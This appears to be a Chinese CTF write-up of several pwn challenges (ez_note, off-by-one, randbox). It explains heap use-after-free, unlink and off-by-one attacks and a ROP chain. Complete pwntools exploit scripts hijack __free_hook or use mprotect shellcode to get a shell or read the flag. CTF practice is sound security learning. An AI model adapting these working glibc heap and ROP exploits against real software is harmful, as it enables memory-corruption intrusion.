ez_note
有几个功能add,delete,show,edit
- add按顺序添加节点,且最大只能是0x80
- delete没有清空指针,有UAF漏洞
- show输出内容
- edit,先是输入长度,然后编辑内容,有堆溢出漏洞
这个题目的保护全开,最重要的就是泄露libc的地址,unsorted_bin的头地址是位于libc中的,如果我们有一个unsorted_bin,它的fd,fk指针均指向这个地址,由于UAF漏洞的存在,我们可以输出这样的块。
我们发现这个题目是有tcache
的,那么我们就需要填充它,还需要在free的时候有一个unsorted_bin,fastbin的最大范围是0x80;如果我们设置大小为0x80
,分配的chunk
的大小是0x90
,就可以进行泄露了
这里有一个问题,就是这个代码
for i in range(8):
add(0x79,"chunk"+str(i))
pass
for i in range(7):
free(i)
pass
free(7)
show(7)
当我们gdb时,发现并没有这个unsorted_bin,这是因为它是最后的一个块,且是unsorted_bin那么它靠近topchunk,他就会和topchunk合并,所以我们要多设置一个块,来防止合并
泄露libc以后,就比较简单了,修改块,让其指向我们想要修改的地址,这样我们就可以任意修改,将free_hook修改为system,然后free掉带有bin/sh
的块以后,就拿到了shell
exp如下
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.31.so")
def add(size,content = b'aaaa'):
ru('choice : > ')
io.send(str(1))
ru("The size of this note : ")
sl(size)
ru("The content of this note : ")
io.send(content)
def free(index):
ru('choice : > ')
io.send(str(4))
ru("The index of this note : ")
io.send(str(index))
def edit(index,size,content):
ru('choice : > ')
io.send(str(2))
ru("The index of this note : ")
s(index)
ru("The size of this content : ")
s(size)
ru("The content of this note : ")
io.send(content)
def show(index):
ru('choice : > ')
io.send(str(3))
ru("The index of this note : ")
s(index)
puts_got = elf.got['printf']
note = elf.sym['note']
leak("puts_got",puts_got)
for i in range(8):
add(0x79)
pass
add(0x79,b'/bin/sh\x00')
for i in range(7):
free(i)
pass
free(7)
show(7)
ru("note is : ")
libc_beta = uu64(io.recv(6))
leak("libc_beta",libc_beta)
base = libc_beta - 0x1ecbe0
sys = base + libc.sym['system']
free_hook = base + libc.sym["__free_hook"]
edit(6,0x79,p64(free_hook))
leak("free_hook",free_hook)
add(0x79)
add(0x79,p64(sys))
free(8)
itr()
off-by-one
这个题对我来说还是太难了
先来看几个功能
- add功能,按顺序增加,不限大小,限制0xf个
- dele功能,先free后置0,没毛病
- edit功能,发现多读入了一个字节
- show功能,平平无奇
刚开始就发现了华点,给出了后门及其地址,这样我们就不用泄露pie基址了
先写菜单功能
def add(size,content='aaaa'):
ru("choise: ")
sl(1)
ru("choise the size: ")
sl(size)
ru("into this note?")
sl(1)
ru("content: ")
io.sendline(content)
def free0(index):
ru("choise: ")
sl(2)
ru("index: ")
sl(index)
def edit(index,content='aaaa'):
ru("choise: ")
sl(3)
ru("index: ")
sl(index)
ru("edited: ")
io.send(content)
def show(index):
ru("choise: ")
sl(4)
ru("index: ")
sl(index)
拿到pie基址以及note地址
io.recvuntil("0x")
gift = int(io.recv(12),16)
base = gift - 0x1289
note_addr = base + 0x4060
这个题的got表不能改,我们可以泄露libc基址,拿到free_hook
或者malloc_hook
的地址,修改到后门,就能拿到shell
由于我们需要 libc 的基地址,而 unsorted bin 是双向链表有个特性,在只有一个元素的时候 fd 和 bk 都会指向链表的起始位置,而这个其实位置是位于 libc 内的,所以如果知道了这个起始位置,减去其与题目告诉的 libc 的基址的固定偏移量,就可以得到 libc的基址。
而由于这是高版本的 libc,存在一个 tcache 的结构,释放的 0x20到0x420 大小(含堆头)之间的堆并不会直接进入 fastbin 和 unsorted bin,而是会先进入这种长度的 tcache 缓冲区内,每种缓冲区大小最大为7,然后才会进入unsorted bin。所以我们申请的用来合并的堆要能被释放进入unsorted内,大小建议大一些比如 0x450 (含堆头),同时为了防止向后与top chunk合并,应当再申请堆来隔离。
add(0x38,b'chunk0') # 末位向 8 对齐
add(0x440,b'chunk1') # 0x440 不进入 tcache
add(0x100,b'chunk2') # 大于后续所需 py 长度即可
add(0x100,b'chunk3') # 以防万一隔离下
由于现在不用考虑 PIE 的问题了,并且这题只允许溢出一个字节,可以用来修改下一个堆块的标志位(标志上一个堆块是否被释放),那么我们考虑使用 unlink 技术来满足任意地址的写入的需求:
我们要知道unlink是什么,简单的演示
当需要将second_chunk
脱链时,使用unlink
对second_chunk
操作。
不难看出,实际上就是双向上链表的删除操作
third->fd = third->fd->fd
first->bk = first->bk->bk
这样就成功脱链
unlink的保护机制
保护1
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
...
}
}
大概就是p需要脱链,p的前一个块,它的后指向p,p的后一个块,它的前指针指向p。这样就是为了验证p是不是链表上的块
保护2
if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
malloc_printerr("corrupted size vs. prev_size");
一个堆块的size保存在两个部分:
堆块头头部字段(size),物理相邻的下一个堆块(prev_size)
这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)
保护3
if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {
if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);
如果chunk的大小落在largebin范围内,就会进行对nextsize的检查
利用unlink
我们还要知道unlink的触发时机
在这种双向链表的bin中,如果要free掉一个将会加入该bins的块,那么它会检查字节的size中的prv_inuse字段,如果处于free状态,且在物理状态上也相邻,那么,它们就会合并成一个bin块,且对前一块进行unlink
先申请两个堆,第一个大小需要向 8 对齐,这样才可以修改下一个堆块的presize 大小,同时溢出的那个字节会写到下一个堆块的 size 末尾来修改标志位,然后在第一个堆里构造出一个伪装着已经被释放了的堆,大小为第一个堆减掉一个表头 0x10,fd 指针指向 ¬e[0]-0x18,bk指针指向 ¬e[0] - 0x10,满足 unlink 的指针检测,下一个堆块的标志位检测,和下一个堆块的 presize 检测,准备使用 unlink 。
fd = note_addr - 0x18
bk = note_addr - 0x10
payload = p64(0) + p64(0x31) + p64(bk) + p64(fd) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,payload)
free(1)
我们看执行后的结果
发现notes[0]的值指向了bss段,这样我们将把notes[1]修改指向notes[2],我们就可以输出chunk地址,从而拿到heap地址
这样我们就泄露出了chunk的地址
之后我们需要泄露libc地址,这个我们可以利用之前的unsorted_bin
,我们通过输出这个bin
就拿到了libc
基址,但是我们看bin的结构
发现低位为00
,我们需要将其修改,再输出,所以我们将note[1]
指向该地址,修改低位以后,再进行输出
chunk0_addr = heap_base + 0x2b0 #调试发现
edit(0,p64(note_addr) + p64(chunk0_addr))
edit(1,b'\x01')
show(1)
之后就是写入backdoor
edit(0,p64(free_hook))
edit(0,p64(sys_addr))
edit(3,b'/bin/sh\x00')
free(3)
完整exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
io = process("./off-by-one")
elf = ELF("./off-by-one")
libc = ELF("./libc-2.32.so")
def add(size,content='aaaa'):
ru("choise: ")
sl(1)
ru("choise the size: ")
sl(size)
ru("into this note?")
sl(1)
ru("content: ")
io.sendline(content)
def free(index):
ru("choise: ")
sl(2)
ru("index: ")
sl(index)
def edit(index,content='aaaa'):
ru("choise: ")
sl(3)
ru("index: ")
sl(index)
ru("edited: ")
io.send(content)
def show(index):
ru("choise: ")
sl(4)
ru("index: ")
sl(index)
io.recvuntil("0x")
gift = int(io.recv(12),16)
base = gift - 0x1289
note_addr = base + 0x4060
leak("note_addr",note_addr)
add(0x38,b'chunk0') # 末位向 8 对齐
add(0x440,b'chunk1') # 0x440 不进入 tcache
add(0x100,b'chunk2') # 大于后续所需 py 长度即可
add(0x100,b'chunk3') # 以防万一隔离下
fd = note_addr - 0x18
bk = note_addr - 0x10
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + p64(0)*2 + p64(0x30) + b'\x50'
edit(0,payload)
free(1)
edit(0,b'aaaaaaaa'*3 + p64(note_addr) + p64(note_addr + 8*2))
#duan()
show(1)
heap_base = uu64(io.recv(6)) - 0x730
leak("heap_base",heap_base)
chunk0_addr = heap_base + 0x2b0 #调试发现
edit(0,p64(note_addr) + p64(chunk0_addr))
edit(1,b'\x01')
show(1)
#io.recv()
libc_base = uu64(io.recv(6)) - 0x1e3c01
success(hex(libc_base))
sys_addr = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
#duan()
edit(0,p64(free_hook))
edit(0,p64(sys_addr))
edit(3,b'/bin/sh\x00')
free(3)
itr()
randbox
import os
import sys
import time
from pwn import *
import ctypes
context.os = 'linux'
context.log_level = "debug"
lib = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
io = process("./randbox")
elf = ELF("./randbox")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x4015c3
ret = 0x040101a
vuln = 0x401421
seed = lib.time(0)
lib.srand(seed)
ru("Guess what?\n")
number = lib.rand() % 50
io.sendline(str(number))
ru("Ready to hack?\n")
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln)
io.send(payload)
io.recvuntil(b'\n')
puts_addr = uu64(io.recv(6))
libc_base = puts_addr - libc.sym['puts']
mprotect = libc_base + libc.sym['mprotect']
pop_rsi = libc_base+ 0x02be51
pop_rdx_r12 = libc_base + 0x11f2e7
buf = 0x404000 + 0x800
ru("Ready to hack?\n")
payload = b'a'*(0x20+8) + p64(pop_rdi) + p64(0x404000) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx_r12) + p64(7) + p64(0) + p64(mprotect)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x200) + p64(0) + p64(libc_base + libc.sym['read']) + p64(buf)
io.sendline(payload)
payload = asm(shellcraft.cat('/flag'))
io.sendline(payload)
itr()
ret2half
保护
堆题,先看add,画出结构体
标签:ru,p64,libc,buildctf,io,pwn,data,lambda From: https://www.cnblogs.com/zMeedA/p/18581985